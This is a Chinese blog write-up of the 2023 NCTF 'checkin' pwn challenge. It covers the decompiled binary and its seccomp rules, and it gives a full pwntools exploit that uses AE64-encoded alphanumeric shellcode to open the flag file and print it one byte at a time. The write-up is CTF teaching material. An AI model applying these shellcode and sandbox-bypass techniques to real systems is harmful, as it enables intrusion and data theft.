以后我会尽量少用图片,因为我经常在翻别人博客时发现图片加载不出来,很烦。
看看checksec
再看看IDA
int __cdecl main(int argc, const char **argv, const char **envp)
{
__int64 v3; // rbx
__int64 v4; // rbx
__int64 v5; // rbx
unsigned __int64 v7; // [rsp+8h] [rbp-28h]
char *v8; // [rsp+10h] [rbp-20h]
int i; // [rsp+1Ch] [rbp-14h]
v8 = (char *)mmap((void *)0x20230000, 0x1000uLL, 7, 34, -1, 0LL);
if ( v8 == (char *)-1LL )
{
perror("mmap");
exit(1);
}
write(1, "Give me your shellcode: ", 0x18uLL);
v7 = read(0, v8 + 48, 0x100uLL);
for ( i = 0; i < v7; ++i )
{
if ( (v8[i + 48] <= 96 || v8[i + 48] > 122)
&& (v8[i + 48] <= 64 || v8[i + 48] > 90)
&& (v8[i + 48] <= 47 || v8[i + 48] > 57)
&& v8[i + 48] != 47 )
{
printf("Invalid character: %c\n", (unsigned int)v8[i]);
exit(1);
}
}
v3 = qword_4088;
*(_QWORD *)v8 = payload;
*((_QWORD *)v8 + 1) = v3;
v4 = qword_4098;
*((_QWORD *)v8 + 2) = qword_4090;
*((_QWORD *)v8 + 3) = v4;
v5 = qword_40A8;
*((_QWORD *)v8 + 4) = qword_40A0;
*((_QWORD *)v8 + 5) = v5;
sandbox();
((void (*)(void))v8)();
return 0;
}
沙盒,看看限了哪些。
小tip,这样直接seccomp无法得出检查结果,会执行程序,而只有执行程序之后才会出结果.可以ctrl加d关闭输入流,就可以不带回车输入。类似send
和sendline
。(因为这题如果输回车程序会检查到b'\n'
这个字符导致程序退出,无法得到结果)
这么看那就必须ORW了,不喜欢ORW,害。不懂ORW的话可以看看我之前的博客或者搜一下别人的资料。
这题沙盒还有比较特殊的就是其中read的时候还会检查你的fd和count。但是这个沙盒的逻辑感觉比较绕的。
沙盒的执行逻辑是再执行syscall的时候把各种需要检查的值赋给这个叫做A的变量,然后一行一行的往下走,就像C的if判断一样检查。
0014: 0x15 0x00 0x05 0x00000000 if (A != read) goto 0020
0015: 0x20 0x00 0x00 0x00000010 A = fd # read(fd, buf, count)
0016: 0x15 0x00 0x03 0x00000000 if (A != 0x0) goto 0020
0017: 0x20 0x00 0x00 0x00000020 A = count # read(fd, buf, count)
0018: 0x15 0x00 0x01 0x00000001 if (A != 0x1) goto 0020
0019: 0x06 0x00 0x00 0x7fff0000 return ALLOW
0020: 0x15 0x00 0x05 0x00000001 if (A != 1) goto 0026
0021: 0x20 0x00 0x00 0x00000010 A = args[0]
0022: 0x15 0x00 0x03 0x00000001 if (A != 0x1) goto 0026
0023: 0x20 0x00 0x00 0x00000020 A = args[2]
0024: 0x15 0x00 0x01 0x00000001 if (A != 0x1) goto 0026
0025: 0x06 0x00 0x00 0x7fff0000 return ALLOW
0026: 0x06 0x00 0x00 0x00000000 return KILL
可以看到沙盒中如果sys_number = read
会检查fd
是否为0或1,如果都不是,就会goto0026,也就是kill
了。而且如果fd
为0的话,还会检查read的返回值。只有当read的返回值为1才会ALLOW
。因为read返回值其实就是读了几个字节,所以我们每次只能读一个字节。呃,我也讲不太清楚自行理解吧。还有就是后面会检查参数0,参数2.args[0],args[2]
一个不重要的小细节
当时看到这一段,比较好奇这是干嘛用的,后来再gdb里跑一遍就发现其实就是把除了rsp和rip之外的所有寄存器xor自己了一下,全部置零。如图所示。
v3 = qword_4088;
*(_QWORD *)v8 = payload;
*((_QWORD *)v8 + 1) = v3;
v4 = qword_4098;
*((_QWORD *)v8 + 2) = qword_4090;
*((_QWORD *)v8 + 3) = v4;
v5 = qword_40A8;
*((_QWORD *)v8 + 4) = qword_40A0;
*((_QWORD *)v8 + 5) = v5;
sandbox();
爆破思路
他这题很明显给了一个执行shellcode的机会。麻烦在于必须用可视化字符。
for ( i = 0; i < v7; ++i )
{
if ( (v8[i + 48] <= 96 || v8[i + 48] > 122)
&& (v8[i + 48] <= 64 || v8[i + 48] > 90)
&& (v8[i + 48] <= 47 || v8[i + 48] > 57)
&& v8[i + 48] != 47 )
{
printf("Invalid character: %c\n", (unsigned int)v8[i]);
exit(1);
}
}
只能用0-9,a-z,A-Z的字符构造shellcode。会导致我们可以写的汇编代码受到严重限制。
这时候就必须引出我们的神器AE64了。它可以帮你构造出你写的任意shellcode。而不需要局限于可视的字符串。至于具体如何用AE64就看看exp吧。
PS:AE64是我学长做的,杭电大师傅!!太强啦!!都给我取star一下hhh。
EXP
from ae64 import AE64
from pwn import *
context(
terminal = ['tmux','splitw','-h'],
os = "linux",
arch = "amd64",
# arch = "i386",
log_level="debug",
)
# io = remote("8.130.35.16",58002)
io = process("./checkin-release")
def debug():
gdb.attach(io,
'''
b *$rebase(0x1764)
c
''')
debug()
code="""
xor rdi,rdi
push rdi;pop rdx
push rdx;pop rsi
push 0x3
pop rax
syscall #close(0)#rax = 3
push 0x2
pop rax
push 0x202300f3 #flag_str
pop rdi
syscall #open(flag_str,0,0)#rax = 0
push 0x20230200 #store_flag_adr
pop rsi
push 0x1
pop rdx
readloop:
xor rax,rax
push rax;pop rdi
syscall #read(0,store_flag_adr,1)
push rdx;pop rdi
syscall #write_flag(1,store_flag_str,1)
inc rsi
cmp rax,0
jne readloop
"""
obj=AE64()
code=(obj.encode(asm(code),strategy="small",offset=0x34,register="rax"))
payload = asm("pop rax")*4+code+b"flag"
print(hex(len(payload)))
io.send(payload)
io.interactive()
这个题还限制字节,主要是用了AE64之后会多很多字节,因为AE64的原理其实是在用xor
来构造你的shellcode。(xor
对应的机器码的ASC码是可视化的。)
所以这里用了很多省字节的技巧,比如下面这些。
mov rax,5(七字节)-->(三字节)push 0x5;pop rax
mov rax,0(七字节)-->(两字节)push rdi,pop rax(假设rdi在这时候是0)
mov rax,0(七子节)-->(三字节)xor rax,rax
这里给大家一个机器码和汇编代码互换的网站。挺好用的。
标签:2023NCTFcheck,题解,0x00,pop,QWORD,push,v8,AE64,rax From: https://blog.51cto.com/u_16356440/9058508